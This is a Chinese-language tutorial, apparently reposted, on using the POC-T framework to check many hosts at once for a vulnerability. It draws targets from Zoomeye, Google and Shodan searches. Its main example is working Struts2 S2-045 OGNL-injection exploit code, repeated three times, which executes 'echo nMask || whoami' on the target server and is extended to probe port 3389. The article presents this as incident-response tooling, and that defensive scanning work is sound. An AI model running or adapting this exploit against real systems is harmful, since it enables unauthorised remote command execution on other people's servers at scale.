漏洞應急響應之批量poc驗證


 

1.文章難易度 【★★★】 
2.文章知識點: python,poc驗證; 
3.文章作者: 野驢 
4.本文參與  i春秋學院原創文章獎勵計划,未經許可禁止轉載!

 


0x01前言

 

   當互聯網爆出高危漏洞,或者團隊內部挖到0day,無論甲方還是乙方都需要了解漏洞的影響面,這個時候就需要poc批量驗證,包括網絡安全愛好者對“批量”這個詞一定不會陌生,我們今天就來聊聊“批量”那些事。目前,有很多優秀的poc批量驗證工具,比如我之前的帖子(https://bbs.ichunqiu.com/thread-9519-1-1.html)發過pentestdb中也集成了這個功能,比較經典的還有pocsuitepocsuite、zoomeye、seebug一條龍服務可以說是業界良心,pocsuite需要按模板要求使用Pocsuite指定的函數,這樣的優點在於可以在HTTP請求層面直接做控制,從而支持“全局代理”,“全局隨機UA”等功能,同時保證了腳本的穩定性與規范性,對於不懂驗證邏輯的客戶或運維人員,直接運行腳本即可。但總感覺太重了,不夠自由,比如輸出的內容等,不能自由設置。那么有沒有一款可以引入第三方庫,不需要任何模板和繼承。這樣既能夠擴展其功能,又能保證效率的最大化,不用每次寫腳本都查文檔格式,一個腳本一行命令,三五分鍾即可完成任務的這樣一個poc驗證框架呢?這就是今天給大家推薦的POC-T。

 

 

 

0x02 簡介及安裝使用

 

批量驗證要解決的三個關鍵點:

 

數據:數據怎么來? 
處理:邏輯是什么? 
 並發:如何實現?

 

 

 

POC-T就是按照這樣的思路設計的

 

 

 

 

安裝也很簡單,這里不占用篇幅

 

git clone [url]https://github.com/Xyntax/POC-T[/url] pip install -r requirement.txt python POC-T.py

 

 

 

0x021 數據怎么來

 

數據來源很豐富,也很貼心。包括單個目標(-iS)、文件導入(-iF)、搜索引擎接口,包括谷歌(-aG)、Zoomeye(-aZ)、撒旦(-aS),這些接口的key設置支持運行時手動輸入,也支持預先設置,在根目錄下的toolkit.conf中設置,谷歌還支持代理,以便扶牆,是不是很貼心,參數–limit來限制搜索數目。其他來源參考幫助。

 

 

 

 

0x022 處理邏輯是什么

 

邏輯驗證也就是poc,在script已經有很多作者維護的poc腳本,可以利用參數–show來列出poc腳本名

 

 

 

 

加載用參數–s poc名

 

0x023 並發如何實現

 

並發的實現作者自己的框架,我們作為使用者不必太糾結原理,只要知道支持多線程(-eT)Gevent(-eG)兩種並發模式就可以了。POC-T的效率非常之高,根據筆者測試,設置線程為30(默認10),測試2000+個目標不到3分鍾就可以完成。

 

最后的命令格式大概是這樣子

 

Python POC-T.py –s poc –aZ “port:22” –limit 100 Python POC-T.py –s poc –aG “url:index.php” –limit 100 –gproxy “socket5 127.0.0.1 1080” Python POC-T.py –s poc –iS http://host//login.php?id=1 Python POC-T.py –s poc –iF /root/pentest/vul.txt

 

0x03 poc腳本編寫
這也是本文重點關注的,為什么說POC-T很輕便呢,我認為就體現在poc腳本編寫上,所有的驗證只需要一個poc()函數就可以,成功就返回True或者自定義信息,失敗就返回False,除此之外沒有任何限制。沒有實例,一切文章都是紙老虎。下面我們就以前段時間火爆的struts2-s045漏洞為例,詳細說下poc的編寫,在script目錄下有個test.py就是poc腳本的一個demo,就在這個基礎上編寫我們的poc。

 

網上爆出的驗證代碼為

 

def poc(url): register_openers()     datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})     header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"     header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"     request = urllib2.Request(url,datagen,headers=header)     response = urllib2.urlopen(request)     body=response.read() return body

 


這段代碼,大概意思就是執行了“echo nMask”,也就是說返回的body中如果有字符串nMask就意味着漏洞存在,否則不存在。那么我們的poc代碼就可以這么寫

 

import urllib2[/size][/font] [align=left][font=宋體][size=3]from poster.encode import multipart_encode from poster.streaminghttp import register_openers def poc(url): register_openers()         datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})         header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"         header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"         try:             request = urllib2.Request(url,datagen,headers=header)             response = urllib2.urlopen(request,timeout=5)             body = response.readlines()[0:2]         except:                 return False         if "nMask" in body:                 return Ture         else:                 return False

 


建議在腳本中處理Exception,如果線程運行中發現Exception,將使框架終止全部任務並打印錯誤信息。由於網絡請求中經常出現連接中斷等錯誤,一種簡單的做法是:

 

def poc(input_str)

    try:     ...全部腳本邏輯...     except:         return False

 

 

 

就是這么簡單,在運行時框架的每個線程都會調用poc()這個函數,並把目標url復制給poc()函數。然后我們來看看效果,我導入一個目標文本(每行一個url)。

 

 

POC-T還提供了具有通用性的腳本擴展工具.用於簡化代碼,提高PoC准確性,賦予腳本更多功能.這些工具位於plugin目錄下,編寫腳本時,可以使用from plugin.xxx import xxx直接調用,具體功能請查看原文件注釋

 

 

繼續以剛才poc為例,現在我們不僅想知道一個url是否存在s2-045漏洞,還想知道特定端口是否開放,比如3389、22端口,這樣可以為我們下一步測試提供方便。那來看看擴展工具里有沒有我們想要的功能。

 

在util.py中有這樣一個函數checkPortTcp()只要有IP地址就可以查看相應端口是否開放

 

 

可傳入的參數是url,不是IP地址怎么辦,答案仍在util.py中,還有這樣一個函數host2IP()可以把url轉換為IP地址,真是要啥有啥。

 

 

我們的代碼可以這樣寫

 

import urllib2 from poster.encode import multipart_encode from poster.streaminghttp import register_openers from plugin.util import host2IP from plugin.util import checkPortTcp def poc(url):     register_openers()     datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})     header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"     header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"     try:         request = urllib2.Request(url,datagen,headers=header)         response = urllib2.urlopen(request,timeout=5)         body = response.read()     except:         body=""     ip = host2IP(url)            #將url轉化為IP     port = checkPortTcp(ip,3389) #檢測3389是否開放     if "nMask" in body:         assert isinstance(port, object)         return url + "---" + "3389:" + str(port)     else:         return False

 

 

 


0x04 其他功能
  如果我們搞明白了批量需要解決的那三個關鍵問題,就會發現這個框架不僅可以用作poc批量驗證,還可以用作它途,只要原理一樣就可以。比如爆破、爬蟲、采集等。作者也給出了相應實例

 

爆破:/script/ brute-example.py 
爬蟲&采集:/script/ spider-example.py 
 旁站掃描:/script/ bingc.py

 


0x05 結語
  
看完本文,以后再有漏洞時,還用到處問“哪里有批量工具嗎?”,自己動手,豐衣足食。但正因為POC-T的輕便、靈活,更需要我們的編碼能力,因為所有的邏輯驗證及輸出都需要通過自己編碼實現而沒有現成的格式規范。
其他優秀的poc批量驗證工具:

 

Pocsuite:   https://github.com/knownsec/Pocsuite 
Pentestdb:   https://github.com/alpha1e0/pentestdb 
s0m3poc:   https://github.com/s0m30ne/s0m3poc


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM